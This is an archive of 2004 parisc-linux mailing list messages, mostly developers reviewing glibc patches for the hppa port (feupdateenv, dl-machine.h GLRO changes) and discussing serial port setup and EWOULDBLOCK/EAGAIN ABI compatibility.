>>   return 0;
>> }
> 
Taken into account of your relevant remarks here is my new proposal:
=========><=========
--- sysdeps/hppa/fpu/feupdateenv.c.orig 2004-03-06 21:18:40.789605000 +0100
+++ sysdeps/hppa/fpu/feupdateenv.c      2004-03-06 21:22:21.839605000 +0100
@@ -23,15 +23,16 @@
  int
  feupdateenv (const fenv_t *envp)
  {
-  unsigned int sw[2];
+  struct fenv_t saved_env, new_env;

    /* Get the current exception status. */
-  __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
-  sw[0] &= FE_ALL_EXCEPT;
-  envp->__status_word = envp->__status_word | sw[0];
+  fegetenv(&saved_env);
+  saved_env.__status_word &= FE_ALL_EXCEPT;
+  new_env.__status_word = envp->__status_word | saved_env.__status_word;
+  for (i = 0; i < 7; i++) new_env.__exception[i] = envp->__exception[i];

    /* Install new environment.  */
-  fesetenv (envp);
+  fesetenv (&new_env);

    /* Success.  */
    return 0;
=========><=========

Joel




From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Configuring serial ports
Date: Sat, 06 Mar 2004 22:32:20 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <404A5174.7010107@tiscali.be>
References: <200403062154.40308.marc.dilasser@free.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623242 6321 80.91.229.3 (22 Nov 2014 02:27:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Marc Dilasser <marc.dilasser@free.fr>
Original-X-From: soete.joel@tiscali.be  Sat Mar  6 15:31:15 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo3.tiscali.be [62.235.13.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 229B74892
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Mar 2004 15:31:15 -0700 (MST)
Original-Received: from [62.235.123.55] (port=33149 helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AzkJz-000202-NB; Sat, 06 Mar 2004 23:31:03 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <200403062154.40308.marc.dilasser@free.fr>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Mar 2004 22:31:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20994

Hi Marc,

I also have a 2 b180 (1 runing 2.4.2? and  the other 2.6.4-rc2-pa?) (running a lightweight fw) to connect successfully my isp with 
a 38k baud modem :). But it's a long time that I update those system to testing debian, more over there are 3 releases of woody, 
so can you recall me which kernel is running on your system, and which ppp release is installed.

btw can you check in /boot/config? if ppp support is setup in your kernel?

Regards,
	Joel

Marc Dilasser wrote:
> Hello,
> 
> I have a B180L with Debian Woody and i'm trying to connect to my ISP through a 
> 56k modem.
> 
> I don't find in the dmesg the ports address of the serial ports.
> And how to setup with setserial, baud_base seems to be 454545.
> 
> Regards
> Marc Dilasser
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Sat, 6 Mar 2004 17:57:41 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <20040306225740.GH963@baldric.uwo.ca>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
	<20040302195050.GE19402@baldric.uwo.ca>
	<404A4D34.1000106@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623242 6324 80.91.229.3 (22 Nov 2014 02:27:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Sat Mar  6 15:59:48 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3B354875
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Mar 2004 15:59:47 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1Azkjm-0000aC-00; Sat, 06 Mar 2004 17:57:42 -0500
Content-Disposition: inline
In-Reply-To: <404A4D34.1000106@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (17% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Mar 2004 22:59:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20995

On Sat, Mar 06, 2004 at 10:14:12PM +0000, Joel Soete wrote:
> Taken into account of your relevant remarks here is my new proposal:
> =========><=========
> --- sysdeps/hppa/fpu/feupdateenv.c.orig 2004-03-06 21:18:40.789605000 +0100
> +++ sysdeps/hppa/fpu/feupdateenv.c      2004-03-06 21:22:21.839605000 +0100
> @@ -23,15 +23,16 @@
>  int
>  feupdateenv (const fenv_t *envp)
>  {
> -  unsigned int sw[2];
> +  struct fenv_t saved_env, new_env;
> 
>    /* Get the current exception status. */
> -  __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
> -  sw[0] &= FE_ALL_EXCEPT;
> -  envp->__status_word = envp->__status_word | sw[0];

Yeah, this is bad, because 'envp' is const, and we shouldn't be changing
its value.

> +  fegetenv(&saved_env);
> +  saved_env.__status_word &= FE_ALL_EXCEPT;
> +  new_env.__status_word = envp->__status_word | saved_env.__status_word;
> +  for (i = 0; i < 7; i++) new_env.__exception[i] = envp->__exception[i];

Why do you use "new_env" at all? Just use saved_env. Then you don't have
to have a silly loop to copy the exceptions, they'll already be there.
Then you can call fesetenv(&saved_env);
 
>    /* Install new environment.  */
> -  fesetenv (envp);
> +  fesetenv (&new_env);
> 
>    /* Success.  */
>    return 0;
> =========><=========

c.



From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa XFree86 Loader Notes.
Date: Sat, 6 Mar 2004 17:59:18 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20040306225917.GI963@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623242 6325 80.91.229.3 (22 Nov 2014 02:27:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Sat Mar  6 16:00:44 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F0234875
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Mar 2004 16:00:44 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AzklK-0000aS-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 06 Mar 2004 17:59:18 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (17% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Mar 2004 23:00:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20996


pa,

Some initial XFree86 loader notes.
http://www.baldric.uwo.ca/~carlos/XFree86-Loader.html

Hopefully I'll get some time next week to do more testing. This week I
had a small snippet of time to do some analysis on the loader.

c.



From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sleepy, EWOULDBLOCK != EAGAIN?
Date: Sun, 7 Mar 2004 02:27:35 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20040307072733.GL963@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623243 6329 80.91.229.3 (22 Nov 2014 02:27:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Sun Mar  7 00:29:02 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22676484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Mar 2004 00:29:02 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AzshD-0001J4-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 07 Mar 2004 02:27:35 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (17% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Mar 2004 07:29:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20997


pa,

Please remind me why we don't make EWOULDBLOCK == EAGAIN?
I know it would break our existing ABI, but Linux apps expect them to be
the same. I remember vaguely some argument about hpux compatibility...
I'm sleepy, but I thought I'd post so I don't forget.

I'm reminded of this because update-menus is complaining about locks
during a recent 712/100 install, and it all came flooding back.

c.



From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Sun, 07 Mar 2004 11:07:19 +0000
Lines: 83
Approved: news@gmane.org
Message-ID: <404B0267.1020809@tiscali.be>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
	<20040302195050.GE19402@baldric.uwo.ca>
	<404A4D34.1000106@tiscali.be> <20040306225740.GH963@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623243 6330 80.91.229.3 (22 Nov 2014 02:27:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Sun Mar  7 04:06:17 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D385487A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Mar 2004 04:06:17 -0700 (MST)
Original-Received: from [62.235.120.85] (port=33230 helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Azw6o-0005W8-02; Sun, 07 Mar 2004 12:06:14 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040306225740.GH963@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Mar 2004 11:06:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20998



Carlos O'Donell wrote:
> On Sat, Mar 06, 2004 at 10:14:12PM +0000, Joel Soete wrote:
> 
>>Taken into account of your relevant remarks here is my new proposal:
>>=========><=========
>>--- sysdeps/hppa/fpu/feupdateenv.c.orig 2004-03-06 21:18:40.789605000 +0100
>>+++ sysdeps/hppa/fpu/feupdateenv.c      2004-03-06 21:22:21.839605000 +0100
>>@@ -23,15 +23,16 @@
>> int
>> feupdateenv (const fenv_t *envp)
>> {
>>-  unsigned int sw[2];
>>+  struct fenv_t saved_env, new_env;
>>
>>   /* Get the current exception status. */
>>-  __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
>>-  sw[0] &= FE_ALL_EXCEPT;
>>-  envp->__status_word = envp->__status_word | sw[0];
> 
> 
> Yeah, this is bad, because 'envp' is const, and we shouldn't be changing
> its value.
> 
> 
>>+  fegetenv(&saved_env);
>>+  saved_env.__status_word &= FE_ALL_EXCEPT;
>>+  new_env.__status_word = envp->__status_word | saved_env.__status_word;
>>+  for (i = 0; i < 7; i++) new_env.__exception[i] = envp->__exception[i];
> 
> 
> Why do you use "new_env" at all?

The reason is very simple: I just begin with glibc and my knowledge is still at stone age in this field.
This is an evidence that sun appears red in the early morning or at the end of the evening but white for the rest of a suny day, why?
The same here, hppa don't need feraiseexcept() but the alpha, i386, ia64, m68k, mips, (ppc), s390 and sparc need and I don't yet 
understand why ;)

> Just use saved_env. Then you don't have
> to have a silly loop to copy the exceptions, they'll already be there.
> Then you can call fesetenv(&saved_env);
>  
> 
>>   /* Install new environment.  */
>>-  fesetenv (envp);
>>+  fesetenv (&new_env);
>>
>>   /* Success.  */
>>   return 0;
>>=========><=========
> 
I will send you another patch which take into account your relevant remarks.

In the mean time I encounter this new pb:
/Sources/parisc-linux/xc/bin/hppa-linux-gcc dl-sym.c -c -std=gnu99 -O2 -Wall -Winline -Wstrict-prototypes -Wwrite-strings -g 
-I../include -I. -I/Sources/parisc-linux/build/glibc/elf -I.. -I../libio  -I/Sources/parisc-linux/build/glibc 
-I../sysdeps/hppa/elf -I../linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/sysv/linux 
-I../linuxthreads/sysdeps/pthread -I../sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv -I../linuxthreads/sysdeps/unix 
-I../linuxthreads/sysdeps/hppa -I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu 
-I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix 
-I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 
-I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysdeps/generic/elf 
-I../sysdeps/generic -nostdinc -isystem /Sources/parisc-linux/xc/lib/gcc/hppa-linux/3.5.0/include -isystem 
/Sources/parisc-linux/sources/linux/include -D_LIBC_REENTRANT -include ../include/libc-symbols.h       -o 
/Sources/parisc-linux/build/glibc/elf/dl-sym.o -MD -MP -MF
/Sources/parisc-linux/build/glibc/elf/dl-sym.o.dt
In file included from dl-sym.c:27:
../sysdeps/generic/dl-tls.h:2:2: #error "architecture-specific version of <dl-tls.h> missing"
make[2]: *** [/Sources/parisc-linux/build/glibc/elf/dl-sym.o] Error 1
make[2]: Leaving directory `/Sources/parisc-linux/sources/glibc-2.3.3-20040306/elf'
make[1]: *** [elf/subdir_lib] Error 2
make[1]: Leaving directory `/Sources/parisc-linux/sources/glibc-2.3.3-20040306'
make: *** [all] Error 2

and would suggest this patch:
--- dl-sym.c.orig       2004-03-07 11:44:11.219605000 +0100
+++ dl-sym.c    2004-03-07 11:41:21.219605000 +0100
@@ -24,10 +24,10 @@
  #include <dlfcn.h>
  #include <ldsodefs.h>
  #include <dl-hash.h>
-#include <dl-tls.h>

From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sleepy, EWOULDBLOCK != EAGAIN?
Date: Sun, 07 Mar 2004 12:05:11 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <404B0FF7.4080405@tiscali.be>
References: <20040307072733.GL963@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623243 6332 80.91.229.3 (22 Nov 2014 02:27:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Sun Mar  7 05:04:04 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo3.tiscali.be [62.235.13.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6DFD4843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Mar 2004 05:04:03 -0700 (MST)
Original-Received: from [62.235.120.85] (port=33263 helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Azx0Z-0002tr-NR; Sun, 07 Mar 2004 13:03:51 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040307072733.GL963@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Mar 2004 12:04:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20999



Carlos O'Donell wrote:
> pa,
> 
> Please remind me why we don't make EWOULDBLOCK == EAGAIN?
There was a thread (dated Sept 200) starting here:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017575.html>
and a followup (dated Oct 2002) starting here:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2002-October/018052.html>

> I know it would break our existing ABI, but Linux apps expect them to be
> the same. I remember vaguely some argument about hpux compatibility...
> I'm sleepy, but I thought I'd post so I don't forget.
> 
> I'm reminded of this because update-menus is complaining about locks
> during a recent 712/100 install, and it all came flooding back.
> 
> c.
> 
hth,
	Joel


From - Thu Nov 08 21:31:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc cvs: additional patche
Date: Sun, 07 Mar 2004 13:05:27 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <404B1E17.6020004@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623243 6334 80.91.229.3 (22 Nov 2014 02:27:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Sun Mar  7 06:04:20 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A5DF4895
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Mar 2004 06:04:20 -0700 (MST)
Original-Received: from [62.235.120.85] (port=33297 helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Azxx4-0004L3-Un; Sun, 07 Mar 2004 14:04:19 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Mar 2004 13:04:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21000

Hi Carlos,

Since yesterday cvs update, i also need a patch similar to:
<http://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/sysdeps/s390/s390-32/dl-machine.h.diff?r1=1.19&r2=1.20&cvsroot=glibc>

=========><=========
--- sysdeps/hppa/dl-machine.h.orig      2004-03-07 12:26:36.000000000 +0100
+++ sysdeps/hppa/dl-machine.h   2004-03-07 12:34:06.000000000 +0100
@@ -252,7 +252,7 @@
                  }
                else
                 {
-                 if (_dl_name_match_p (GL(dl_profile), l))
+                 if (_dl_name_match_p (GLRO(dl_profile), l))
                     {
                       /* This is the object we are looking for.  Say that
                          we really want profiling and the timers are
@@ -581,9 +581,9 @@
  static inline void __attribute__ ((unused))
  dl_platform_init (void)
  {
-       if (GL(dl_platform) != NULL && *GL(dl_platform) == '\0')
+       if (GLRO(dl_platform) != NULL && *GLRO(dl_platform) == '\0')
         /* Avoid an empty string which would disturb us.  */
-               GL(dl_platform) = NULL;
+               GLRO(dl_platform) = NULL;
  }

  #endif /* !dl_machine_h */
@@ -684,7 +684,7 @@
         break;
        if (__builtin_expect (sym->st_size > refsym->st_size, 0)
           || (__builtin_expect (sym->st_size < refsym->st_size, 0)
-             && __builtin_expect (GL(dl_verbose), 0)))
+             && __builtin_expect (GLRO(dl_verbose), 0)))
         {
           const char *strtab;

=========><=========

hth,
	Joel


From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] include/linux/soundcard.h endian fix
Date: Sun, 7 Mar 2004 17:32:10 +0000
Lines: 86
Approved: news@gmane.org
Message-ID: <20040307173210.GA471@calypso>
References: <20040222070150.GA773@calypso> <20040223122458.GA6675@tausq.org>
	<20040223194047.GA448@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623244 6335 80.91.229.3 (22 Nov 2014 02:27:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: sdbrady@ntlworld.com  Sun Mar  7 10:32:13 2004
Return-Path: <sdbrady@ntlworld.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta03-svc.ntlworld.com (mta03-svc.ntlworld.com [62.253.162.43])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E6F24843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Mar 2004 10:32:13 -0700 (MST)
Original-Received: from calypso ([62.254.21.7]) by mta03-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040307173140.DIRC22458.mta03-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Mar 2004 17:31:40 +0000
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
